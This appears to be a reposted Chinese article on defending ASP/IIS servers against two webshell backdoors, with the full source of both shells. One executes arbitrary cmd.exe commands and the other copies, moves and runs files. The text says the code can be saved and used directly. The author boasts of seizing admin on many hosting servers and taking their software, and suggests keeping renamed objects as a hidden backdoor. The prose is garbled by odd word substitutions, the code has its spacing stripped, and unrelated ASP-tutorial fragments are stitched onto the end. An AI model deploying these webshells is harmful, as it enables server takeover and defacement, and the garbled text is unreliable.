ASP网站制作之两款对照典范的ASP木马提防办法
专业性的服务。有的ASP商提供垂直型的应用服务,针对某一特定行业提供应用服务。对照|木马 跟着ASP手艺的开展,收集上基于ASP手艺开辟的网站愈来愈多,对ASP手艺的撑持能够说已是windows体系IIS服务器的一项基础功效。可是基于ASP手艺的木马后门,也愈来愈多,并且功效也愈来愈壮大。因为ASP它自己是服务器供应的一贡服务功效,以是这类ASP剧本的木马后门,不会被杀毒软件查杀。被黑客们称为“永久不会被查杀的后门”。因为其高度的潜伏性和难查杀性,对网站的平安形成了严峻的威逼。因而针对ASP木马的提防和扫除,为我们的网管职员提出了更高的手艺请求。上面我分离团体的履历,谈一下对两款对照典范的ASP木马的提防办法,但愿对人人可以有所匡助。以下是第一款木马的代码:
<title>ASPShell</title>
<%@Language=VBScript%>
<%
DimoScript
DimoScriptNet
DimoFileSys,oFile
DimszCMD,szTempFile
OnErrorResumeNext
--createtheCOMobjectsthatwewillbeusing--
SetoScript=Server.CreateObject("WSCRIPT.SHELL")
SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")
--checkforacommandthatwehaveposted--
szCMD=Request.Form(".CMD")
If(szCMD"")Then
--Useapoormanspipe...atempfile--
szTempFile="C:"&oFileSys.GetTempName()
CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)
SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
EndIf
%>
<HTML>
<BODY>
<FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=".CMD"size=45value="<%=szCMD%>">
<inputtype=submitvalue="实行命令">
</FORM>
<PRE><%
If(IsObject(oFile))Then
--Readtheoutputfromourcommandandremovethetempfile--
OnErrorResumeNext
Response.WriteServer.HTMLEncode(oFile.ReadAll)
oFile.Close
CalloFileSys.DeleteFile(szTempFile,True)
EndIf
%>
</BODY>
</HTML>
在命令行里输出DIR命令点实行就能够检察目次了!!它可使用各类DOS命令,如:copy、net、netstat等。
可是它的默许实行权限只要GUEST,也就是IUSR_COMPUTER用户的实行权限。固然假如你把IUSR_COMPUTER用户到场办理员组,那末你就有办理员权限了。这一款木马的特性是,利用很便利。几近就想当于DOS命令行窗口xx作一样。可是假如服务器限定了FSO(无组件上传),那末它是没有举措利用了。另有就是在服务器今后增添的假造主机里也没有举措利用。只能在“默许Web站点”里利用,以是它绝对的合用局限较窄。
关于提防办法让我们看一下它的代码就晓得了:
SetoScript=Server.CreateObject("WSCRIPT.SHELL")"创建了一个名为oScript的WSCRIPT.SHELL工具,用于命令的实行"
SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")
下面三行代码创立了WSCRIPT.SHELL、WSCRIPT.NETWORK、Scripting.FileSystemObject三个工具,我们只需在注册表中把把持WSCRIPT.SHELL工具的项更名或删除就能够了。以下图:值得注重的是:我们应当把“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”这两项都要更名或删除。由于如我们只修正“WSCRIPT.SHELL”项的话。那末黑客们只需把代码修正以下:SetoScript=Server.CreateObject("WSCRIPT.SHELL.1")这个后门木马就又能够实行了。
人人大概已想到了,我们在对“WSCRIPT.SHELL”项和“WSCRIPT.SHELL.1”更名时,必定要不简单被黑客们猜到,由于比方:你把“WSCRIPT.SHELL”改成了“WSCRIPT.SHELL888”。黑客们只需把代码响应的改成:SetoScript=Server.CreateObject("WSCRIPT.SHELL888"),木马程序就又能够实行了。另有就修正了注册表今后要重起WEB服务,设置才会无效。
接上去让我们再来看下一款ASP后门木马程序的代码:
<%response.write"<fontsize=6color=red>一次只能实行一个xx作</font>"%>
<%response.writenow()%><BR>程序地点的物理路径:
<%response.writerequest.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>aspsshell.applicationbackdoor</title>
<body>
<formaction="<%=Request.ServerVariables("URL")%>"method="POST">
<inputtype=textname=textvalue="<%=szCMD%>">输出要扫瞄的目次<br>
<inputtype=textname=text1value="<%=szCMD1%>">
copy
<inputtype=textname=text2value="<%=szCMD2%>"><br>
<inputtype=textname=text3value="<%=szCMD3%>">
move
<inputtype=textname=text4value="<%=szCMD4%>"><br>
路径:<inputtype=textname=text5value="<%=szCMD5%>">
程序:<inputtype=textname=text6value="<%=szCMD6%>"><br>
<inputtype=submitname=sbvalue=发送死令>
</form>
</body>
</html>
<%
szCMD=Request.Form("text")目次扫瞄
if(szCMD"")then
setshell=server.createobject("shell.application")创建shell工具
setfod1=shell.namespace(szcmd)
setfoditems=fod1.items
foreachcoinfoditems
response.write"<fontcolor=red>"&co.path&"-----"&co.size&"</font><br>"
next
endif
%><%
szCMD1=Request.Form("text1")目次拷贝,不克不及举行文件拷贝
szCMD2=Request.Form("text2")
ifszcmd1""andszcmd2""then
setshell1=server.createobject("shell.application")创建shell工具
setfod1=shell1.namespace(szcmd2)
fori=len(szcmd1)to1step-1
ifmid(szcmd1,i,1)=""then
path=left(szcmd1,i-1)
exitfor
endif
next
iflen(path)=2thenpath=path&""
path2=right(szcmd1,len(szcmd1)-i)
setfod2=shell1.namespace(path)
setfoditem=fod2.parsename(path2)
fod1.copyherefoditem
response.write"commandcompletedsuccess!"
endif
%><%
szCMD3=Request.Form("text3")目次挪动
szCMD4=Request.Form("text4")
ifszcmd3""andszcmd4""then
setshell2=server.createobject("shell.application")创建shell工具
setfod1=shell2.namespace(szcmd4)fori=len(szcmd3)to1step-1
ifmid(szcmd3,i,1)=""then
path=left(szcmd3,i-1)
exitfor
endif
nextiflen(path)=2thenpath=path&""
path2=right(szcmd3,len(szcmd3)-i)
setfod2=shell2.namespace(path)
setfoditem=fod2.parsename(path2)
fod1.moveherefoditem
response.write"commandcompletedsuccess!"
endif
%>
<%
szCMD5=Request.Form("text5")实行程序要指定路径
szCMD6=Request.Form("text6")
ifszcmd5""andszcmd6""then
setshell3=server.createobject("shell.application")创建shell工具
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write"commandcompletedsuccess!"
endif
%>
要检察目次,只需输出响应的目次,点发送死令就能够了。这个木马程能够完成文件的COPY、MOVE,和实行程序。但良多命令都不克不及用,比方:del、net、netstat等。这个木马程的功效随然复杂,可是用它来黑一个网站是充足了。好比,我们能够把网站的首页MOVE到别的中央,然后我们再COPY一个同名的黑客网页出来,就好了。
最要命的是这个木马合用于任何假造主机当中,也就是说我只需是服务器中的一个假造空间的用户,我就能够传这个木即刻往,并用它来修正别的任何用户的主页。以是假如哪些供应假造空间的服务商没有打补钉的话,那真是逝世定了。
但是在我的理论中发明,中国良多的假造空间服务商,出格是一些小型的服务商都没有打补钉。我使用这一毛病拿到了良多假造空间服务器的ADMIN,然后好意的帮他们补上毛病。固然我也失掉了我想失掉的器材――良多好的软件和代码。我如今用着的良多ASP程序就是从他们那下面偷上去,太刺耳了,应当说DOWN上去的才对。
言回正传,我们应当如何来提防这个ASP后门木马程序呢?让我们看一下它个中的这一句代码:setshell=server.createobject("shell.application"),跟方才的办法一样,我们只需把"shell.application"项和"shell.application.1"项更名或删除就能够了。记着了,假如是更名,要改得庞大一点,不要让黑客们一下就猜到了。特地说一句,假如是你给肉鸡打补钉最好是更名,并把名字记上去,如许也就成为本人一个隐密的后门了。最初对这两款ASP木马后门,和怎样提防ASP木马后门做一下总结:第一款木马功效上壮大一些,但合用局限窄,必要FSO撑持也就是"Scripting.FileSystemObject"项的撑持。第二款木马固然功效上少一些,但它创立的是"shell.application"工具。在任何假造主机中都合用。(这一点伤害的确太年夜了,供应撑持ASP空间的办理员们,你们可得注重了!)
实在跟据对下面两款ASP木马后门的提防,人人大概已想到了,关于ASP后门木马的提防,我们只需在注册表中把"shell.application"、"WSCRIPT.SHELL"等伤害的剧本工具(由于它们都是用于创立剧本命令通道的)举行更名或删除,也就是限定体系对“剧本SHELL”的创立,ASP木马也就成为无本之木、无米之炊,运转不起来了。
注:以上代码复制保留为ASP文件就能够间接利用了。
我想详细了解ASP整站代码与PSP整站代码有什么优缺点,那个更好,更安全,更用容易维护,和管理。。。 他的语法和设计思路和VB完全相同,导致很多ASP的书都留一句“相关内容请参考VB的相关教材....”更糟糕的是,相当多的ASP教程混合了Javascript,VBscript等等脚本语言,搞的初学者。 Application:这个存储服务端的数据,如果不清除,会直到web应用程序结束才清除(例如重启站点) 跟学别的语言一样,先掌握变量,流程控制语句(就是ifwhileselect)等,函数/过程,数组 我们必须明确一个大方向,不要只是停留在因为学而去学,我们应有方向应有目标. 以HTML语言整合(HTML负责界面上,ASP则负责功能上)形成一个B/S(浏览器/服务器)模式的网页程序。 弱类型造成潜在的出错可能:尽管弱数据类型的编程语言使用起来回方便一些,但相对于它所造成的出错几率是远远得不偿失的。 它可通过内置的组件实现更强大的功能,如使用A-DO可以轻松地访问数据库。 学习是为了用的,是为了让你的程序产生价值,把握住这个原则会比较轻松点。除此之外,课外时间一定要多参加一些社会实践活动,来锻炼自己的能力。
页:
[1]